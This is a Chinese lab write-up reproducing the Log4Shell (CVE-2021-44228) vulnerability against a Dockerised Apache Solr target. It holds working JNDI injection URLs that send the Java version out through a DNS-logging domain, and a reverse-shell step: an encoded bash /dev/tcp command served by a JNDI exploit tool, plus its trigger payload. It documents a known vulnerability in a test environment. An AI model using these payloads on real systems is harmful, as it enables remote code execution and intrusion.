Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

目录

一、前言

[什么是Apache Log4j 2?](#什么是Apache Log4j 2?)

什么是JNDI?

[Apache Log4j2 lookup JNDI 注入漏洞原理](#Apache Log4j2 lookup JNDI 注入漏洞原理)

二、漏洞复现

影响版本

启动环境

核心概念澄清

漏洞探测

反弹shell


一、前言

什么是Apache Log4j 2?

Apache Log4j 2 是一个广泛使用的 Java 日志记录框架 ,它是 Log4j 1.x 的完全重写版本,提供了显著的性能改进和现代功能,它可以通过查找**(lookups)** 功能从日志配置或日志消息中动态的获取一些信息,如**{java:version}** 可以返回Java 版本,**{sys:user.name}**可以返回系统用户名。

什么是JNDI?

JNDI是Java提供的标准API,它允许程序通过逻辑名称来查找和访问各种资源,如数据库连接、消息队列或远程服务

Apache Log4j2 lookup JNDI 注入漏洞原理

漏洞根源在于Log4j2lookup 机制:其在处理日志时,会主动解析其中的 ${} 表达式 以动态嵌入上下文信息。由于该功能支持 JNDI 并兼容多种协议(如LDAP、RMI、DNS ),攻击者便可构造特殊的日志请求(例如,将**${jndi:ldap://恶意地址}** 作为参数提交)。应用在记录该请求时即触发JNDI 查询,从而连接攻击者控制的服务器下载并执行恶意载荷,造成严重的远程代码执行后果。

二、漏洞复现

影响版本

Apache Log4j 2.x 版本:从 2.0-beta92.14.1(包含)

靶机:192.168.112.153

攻击机:192.168.112.150

启动环境

复制代码
sudo docker-compose up -d

核心概念澄清

  1. Log4j2 是一个日志框架/库 :它不是像 Apache 或 Nginx 那样直接提供服务的独立软件。它是一个被嵌入 到其他 Java 应用程序中的日志记录工具

  2. 漏洞触发条件 :要触发 Log4j 漏洞,需要一个使用了有漏洞版本 Log4j2 框架/库的 Java 应用程序。攻击者需要能找到一种方式,让这个应用程序记录他们精心构造的恶意字符串。

  3. Apache Solr 作为目标:Apache Solr 是一个流行的、用 Java 编写的企业级搜索平台。接下来启动的 Solr 8.11.0 版本恰好使用了存在漏洞的 Log4j2 (2.14.1),因此它成为了一个完美的攻击目标。

访问192.168.112.153:8983,我看看到了Apache Solr的后台页面。

漏洞探测

[http://192.168.112.153:8983/solr/admin/cores?action=${jndi:ldap://dnslog.cn}](http://192.168.112.153:8983/solr/admin/cores?action=${jndi:ldap://dnslog.cn} "http://192.168.112.153:8983/solr/admin/cores?action=${jndi:ldap://dnslog.cn}")这个路径是Apache Solr中**已知存在Log4Shell漏洞的特定路径,其中/solr/admin/cores 是Solr的核心管理接口,**这个接口会记录用户操作日志,并且使用Log4j作为日志记录组件。

类似于的漏洞路径还有

http://192.168.112.153:8983/solr/admin/collections?action=${jndi:ldap://dnslog.cn}
http://192.168.112.153:8983/solr/admin/info/system?verb=${jndi:ldap://dnslog.cn}
http://192.168.112.153:8983/solr/admin/cores?wt=${jndi:ldap://dnslog.cn}

其中dnslog.cn是我们dnslog平台的临时域名。

这里,我使用这个域名。

我们访问url/solr/admin/cores?action={jndi:ldap://{sys:java.version}.ulhpr4.dnslog.cn}

接着回到我们的dnslog平台,发现这里多了条记录,那么就可以证明存在漏洞!并且java的版本通过dnslog带了回来,为1.8.0_102。

由于JNDI支持多种协议,所以其实ldap可以换成rmi或dns。

url/solr/admin/cores?action={jndi:rmi://{sys:java.version}.ulhpr4.dnslog.cn}

url/solr/admin/cores?action={jndi:dns://{sys:java.version}.ulhpr4.dnslog.cn}

反弹shell

首先在攻击机192.168.112.150上监听4444端口

然后打开第二终端,发送以下payload

复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xNTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.112.150

其中-A 192.168.112.150(这个IP为攻击机IP)

这个操作是在这个攻击机地址上启动恶意的JNDI服务,以便后面触发漏洞。

反弹shell语句在这里编码

执行这个命令后如下,选择其中一个true作为payload

这里选择ldap://192.168.112.150:1389/xzl1qm这个地址。

然后我们在靶机网址输入action=${jndi:ldap://192.168.112.150:1389/xzl1qm},随后访问。

然后结果如下,成功反弹shell!

总结:利用靶机存在的JNDI Lookup功能,通过构造恶意日志输入 ${jndi:ldap://192.168.112.150:1389/xzl1qm} 触发Log4j漏洞,诱导靶机连接攻击者搭建的恶意LDAP服务,最终执行反弹shell命令获取远程控制权限。

相关推荐
JosieBook1 小时前
【SpringBoot】31 核心功能 - 单元测试 - JUnit5 单元测试中的断言机制——验证你的代码是否按预期执行了
spring boot·单元测试·log4j
yumgpkpm1 小时前
CMP(类Cloudera CDP 7.3 404版华为泰山Kunpeng)和Apache Doris的对比
大数据·hive·hadoop·spark·apache·hbase·cloudera
zhangkaixuan4562 小时前
Apache Paimon 查询全流程深度分析
java·apache·paimon
Filotimo_19 小时前
springboot的单元测试功能有什么用
spring boot·单元测试·log4j
不光头强19 小时前
Spring整合单元测试
spring·单元测试·log4j
A-刘晨阳20 小时前
时序数据库选型指南:从大数据视角切入,聚焦 Apache IoTDB
大数据·apache·时序数据库·iotdb
迦蓝叶21 小时前
使用 Apache Jena 构建 Java 知识图谱
java·apache·知识图谱·图搜索·关系查询·关系推理
zhangkaixuan4561 天前
Apache Paimon 写入流程
java·大数据·apache·paimon
DolphinScheduler社区2 天前
Apache DolphinScheduler 3.3.2 正式发布!性能与稳定性有重要更新
大数据·开源·apache·任务调度·海豚调度·发版
SeaTunnel2 天前
Apache SeaTunnel 支持 Metalake 开发了!避免任务配置敏感信息暴露
大数据·开源·apache·个人开发·数据集成·seatunnel·看开源之夏